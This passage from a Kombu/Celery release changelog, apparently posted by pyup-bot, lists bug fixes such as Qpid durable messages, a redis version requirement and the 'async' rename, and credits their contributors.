:meth:`~kombu.Connection.default_connection` (Issue 765).

 Contributed by **Anthony Lukach**.

- Qpid: messages are now durable by default

 Contributed by **David Davis**

- Kombu now requires version 2.10.4 or greater of the redis library,
in line with Celery

 Contributed by **Colin Jeanne**

- Fixed ImportError in some environments with outdated simplejson

 Contributed by **Aaron Morris**

- MongoDB: fixed failure on MongoDB versions with an "-rc" tag

 Contributed by **dust8**

- Ensure periodic polling frequency does not exceed timeout in
virtual transport

 Contributed by **Arcadiy Ivanov**

- Fixed string handling when using python-future module

 Contributed by **John Koehl**

- Replaced "async" with "asynchronous" in preparation for Python 3.7

 Contributed by **Thomas Achtemichuk**

- Allow removing pool size limit when in use

 Contributed by **Alex Hill**

- Codebase improvements and fixes by:

 - **j2gg0s**
 - **Jon Dufresne**
 - **Jonas Lergell**
 - **Mads Jensen**
 - **Nicolas Delaby**
 - **Omer Katz**

- Documentation improvements by:

 - **Felix Yan**
 - **Harry Moreno**
 - **Mads Jensen**
 - **Omer Katz**
 - **Radha Krishna. S.**
 - **Wojciech Matyśkiewicz**

.. _version-4.1.0:
Links
  • PyPI: https://pypi.org/project/celery
  • Changelog: https://pyup.io/changelogs/celery/
  • Homepage: http://celeryproject.org
  • Docs: https://pythonhosted.org/celery/

pyup-bot avatar May 29 '22 14:05 pyup-bot